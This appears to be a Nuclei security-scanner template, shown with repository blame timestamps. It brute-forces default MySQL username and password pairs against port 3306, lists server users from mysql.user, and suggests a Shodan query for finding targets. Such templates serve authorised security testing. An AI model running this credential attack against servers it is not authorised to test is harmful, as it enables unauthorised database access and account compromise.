nuclei-templates/javascript/enumeration/mysql/mysql-user-enum.yaml

55 lines
1.1 KiB
YAML
Raw Normal View History

id: mysql-user-enum
info:
name: MySQL - User Enumeration
author: pussycat0x
severity: high
description: |
Attempts to list all users on a MySQL server.
reference:
- https://nmap.org/nsedoc/scripts/mysql-users.html
metadata:
shodan-query: port:3306
verified: true
2024-03-22 10:10:06 +00:00
tags: js,mysql,network,enum
javascript:
- code: |
let m = require('nuclei/mysql');
let c = m.MySQLClient();
let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
2024-03-09 18:32:19 +00:00
Export(response);
args:
Host: "{{Host}}"
Port: "3306"
Query: "SELECT DISTINCT user FROM mysql.user;"
User: "{{usernames}}"
Pass: "{{passwords}}"
payloads:
2024-03-22 10:10:06 +00:00
usernames:
- anonymous
- root
- admin
- mysql
- nagiosxi
passwords:
- SqlServer0
- root
- cloudera
- admin
- moves
attack: clusterbomb
2024-03-22 10:10:06 +00:00
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "success == true"
extractors:
- type: json
part: response
json:
2024-03-22 10:10:06 +00:00
- '.Rows[].user'